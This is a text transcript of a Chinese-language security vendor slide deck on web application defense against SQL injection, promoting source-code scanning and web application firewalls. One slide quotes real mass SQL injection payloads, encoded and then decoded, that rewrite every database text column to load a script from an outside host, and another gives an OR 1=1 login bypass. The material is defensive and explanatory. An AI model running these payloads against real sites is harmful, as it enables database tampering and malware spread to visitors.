網站安全防禦術¶²站安全防禦術-陶靖... · 2008-12-15 · sql injection 歷久彌新...

32
1 Armorize Technologies Inc. Confidential & Proprietary Dec 11th, 2006 Armorize Technologies Inc. Confidential & Proprietary 網站安全防禦術 網站安全防禦術 阿碼科技 阿碼科技 陶靖霖 陶靖霖

Upload: others

Post on 20-Mar-2020

8 views

Category:

Documents


0 download

TRANSCRIPT

  • 1Armorize Technologies Inc. Confidential & Proprietary Dec 11th, 2006Armorize Technologies Inc. Confidential & Proprietary

    網站安全防禦術網站安全防禦術

    阿碼科技阿碼科技

    陶靖霖陶靖霖

  • Outline

    •網站攻擊趨勢

    •你如何面對自己的網站漏洞?

    •網站安全防禦措施

    •Q & A

  • 網站攻擊趨勢

  • 44

    2006 XSSSQL Inj.

    2005 XSSSQL Inj.

    資料來源: CVE (Common Vulnerability Enumeration)

    http://cve.mitre.org

    知名弱點趨勢都跟 Web AP 有關

  • 5

    1.XSS3. SQL Injection

    十大 Web 罪犯(三大惡寇)

    2. Resource Injection

    資料來源: WASC (WebApplication Security

    Consortium), 1Q/2008

  • 資安事件每天都在發生

  • SQL Injection 歷久彌新

    •SQL Injection的大規模應用 – Mass SQL Injection

    •2008年3月開始肆虐,至今未歇

    •隨機攻擊有SQL Injection弱點的網頁,並將惡意script插入資料庫中,使網頁載入資料庫內容時,一併載入執行

    •Botnet (殭屍網路) 擴大營業的手段

    •有弱點的網站將反覆遭受入侵,資料庫不斷遭竄改

  • SQL Injection

    • 由於應用程式缺乏輸入驗證(Input Validation),導致可以利用SQL指令截斷竄改既有的SQL指令用途,而達到繞過驗證、入侵系統、竊取或竄改的目的

    • OWASP 2007 Top 10 弱點第二名

    • 多半源自於錯誤的程式撰寫習慣,疏忽,或是缺乏應有觀念

    • 十周年紀念!• 1998年第一篇Whitepaper推出

  • SQL Injection

    SELECT * FROM user_db

    WHERE ID = ‘&Request(“ID”)&’ AND

    PWD = ‘&Request(“PWD”)&’;

    ID = ‘’ OR 1=1 -- ‘

    PWD = ‘ooxx’

    SELECT * FROM user_db

    WHERE ID = ‘’ OR 1=1 -- ‘’ AND

    PWD = ‘ooxx’;

  • Mass SQL Injection Attacks

  • Attack codeAttack code

    • 刺探碼:

    • 攻擊碼:;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

    ;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

    And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1

  • 解碼後的內容

    • DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

  • Mass SQL Injection 跟以往攻擊有什麼不同

    • 無特定目標• 以往的掛馬攻擊是有針對的網站,且是駭客使用手動工具完成,這次看到的是使用程式自動使用搜尋引擎中找出目標網站來散布

    • 自動化SQL Injection感染網站• 駭客程式自動化SQL Injection,大量插入惡意連結到受害Database中,導致網站頁面內容被破壞

    • 已在短時間內感染大量網站並加以掛馬,並造成嚴重災情(其中某一天就感染達到1萬網站,瀏覽量達到9萬多)

    • 新型態自動化Web攻擊,入侵層面不但廣且深入• 將形成難以估計的新型態Botnet• 甚至連DataBase都已經遭到汙染

    13

  • 我們也查到了駭客內部使用的流量統計表

    14

  • 你如何面對自己的網站漏洞?

  • 你的網站要面對這麼多的威脅...

    • SQL Injection• SSI Injection • LDAP Injection• XPath Injection• OS Commanding• Format String Attack• HTTP Response Splitting• Cross-site Scripting• Buffer Overflow

    • Content Spoofing • Abuse of Functionality • Weak Password

    Recovery Validation • Brute Force• Predictable Resource

    Location• Denial of Service

    • Directory Indexing • Path Traversal• Information Leakage• Fingerprinting

    • Credential/Session Prediction

    • Insufficient Session Expiration

    • Session Fixation

    • Insufficient Anti-automation

    • Insufficient Authentication

    • Insufficient Authorization

    • Insufficient Process Validation

    資料來源:Web Application Security Consortium, WASC

  • 找出網頁應用程式的漏洞

    • 黑箱測試 (Blackbox Testing)

    • 在受測目標資訊不足的情況下進行測試,例如主機資訊、系統設定、原始碼等等

    • 由於測試重複性高,多採用自動化工具協助

    • 如:弱點掃描、滲透測試

    • 白箱測試 (Whitebox Testing)

    • 在取得受測目標資訊的情況下進行測試

    • 由於資訊充足,常以檢查及驗證為主

    • 過去缺乏自動化工具,現已有成熟工具可協助

    • 如:Code Review、源碼檢測

  • 18

    黑箱測試-模擬駭客實際攻擊

    • 優點• 可展示「有效」的攻擊衝擊• 不用準備「程式原始碼」

    • 缺點• 可找出症狀(某網頁某欄位有問題),卻無法指出原因(後端程式的哪一

    行),開發人員不曉得怎麼修…• 網頁如果爬不到將會導致漏報• 模擬攻擊的行為可能損害後端機敏資料庫

    HTML 網頁

    程式商業邏輯

    資料庫端

    ?

    ? ?

    ? ? ?

  • 19

    白箱測試 - 自動源碼檢測分析所有可能問題

    • 自動分析「程式原始碼」• 分析所有可能的「程式進入點(資料進入點)」• 追蹤所有可能的「程式執行路徑(條條大路)」• 找出所有可能的「危險動作(事先預防)」• 優點:檢測速度快、效率高,精準性高• 缺點:使用者必須具備「程式原始碼」!

    …$var = $_GET[“input”];…

    …$db->exec(“select * from “ . $var);…

  • 20

    SQL Injection 弱點程式追蹤

    原始的

    使用者輸入

    沒檢查就進行

    資料庫查詢!SQL Inj.!

    到底哪個

    需要過濾?

  • 21

    自動源碼檢測結果

    • 自動「源碼檢測」可立即呈現最嚴重的全貌• 但因檢測結果精準,一目了然,有助於快速擬定程式修補

    策略!

  • 找到漏洞之後?

    • 還是得修補漏洞...

    • 誰來修補?• 開發團隊?• 委外廠商?

    • 資安顧問?

    • 修補的成本• 時間• 金錢• 能力

    • 你馬上就需要『安全』時,還有其他選擇嗎?

  • 網站安全防禦措施

  • 你要如何安全強化你的網站?

    • 強化網站安全設定• Web Server安全更新與升級• 檢查及強化Web Server設定• 檢查及強化Web元件及模組設定• 檢查與強化Web目錄與檔案的設定與安全性• ...

    • 強化網站程式安全• 檢查網站程式弱點• 修補網站程式弱點• 設計並落實安全的網站程式開發準則• ...

    • 誰會做啊?!

  • 25

    資訊安全管理─木桶理論新解資訊安全管理─木桶理論新解

    如何決定一個由如何決定一個由長短不同長短不同的木板構成的木桶之「的木板構成的木桶之「容水量大小」?容水量大小」?

    ••(1) (1) 木板長度?木板長度?••((XX) ) 取決於其中「取決於其中「最長最長」的那塊木板」的那塊木板••((XX) ) 取決於全部木板長度的「取決於全部木板長度的「平均值平均值」」••((OO) ) 取決於其中「取決於其中「最短最短」的那塊木板」的那塊木板

    ••(2) (2) 這個木桶是否有堅實的「底板」?這個木桶是否有堅實的「底板」?••(3) (3) 木板之間是否有「縫隙」?木板之間是否有「縫隙」? 資訊安全管理系統

    Web AP 安全

    資安事件通報應變機制

    資訊安全管理系統驗證

  • 回到Mass SQL Injection的防禦與預防

    • 萬年老問題:Input Validation• 都是因為程式沒寫好

    • 不正確的程式撰寫習慣

    • 缺乏對威脅的正確認知

    • 以往缺乏有效易用的強化措施

    • 相關解決方案• 對的程式設計師

    • 正確的程式撰寫方式

    • 源碼檢測工具

    • 網頁弱點掃描工具

    • 網頁應用程式防火牆

  • 新世代的網站安全防禦措施

    自動化源碼檢測

    網頁應用程式防火牆

  • 新世代的網站安全防禦措施

    • 源碼檢測可以找到安全問題的根源與進入點

  • 新世代的網站安全防禦措施

    • 網頁應用程式防火牆就可以快速建立相對應的防護規則

  • 單一方案的侷限

    • 源碼檢測最大的問題是找到安全問題卻來不及修補

    • 網頁應用程式防火牆最大的問題是需要規則學習與細部調校

  • 一加一大於二的效益

    源碼檢測能找到的安全問題比弱點掃描或是滲透測試找到的更精確詳實

    源碼檢測找到的安全問題即時交給網頁應用程式防火牆保護,可以替網頁

    程式設計師爭取到寶貴的修補時間

    網頁應用程式防火牆得到精確的弱點資訊,即可自動完成規則設定,省下

    規則學習與細部調校的時間

    網頁應用程式防火牆可以保護因網站系統設定錯誤而產生的漏洞,或是針

    對協定的攻擊

    使用者可以快速找出安全問題,並及時獲得保護,大幅節省成本

  • Q&AQ&A

    Thank You!

    Total ImplementationTotal Implementation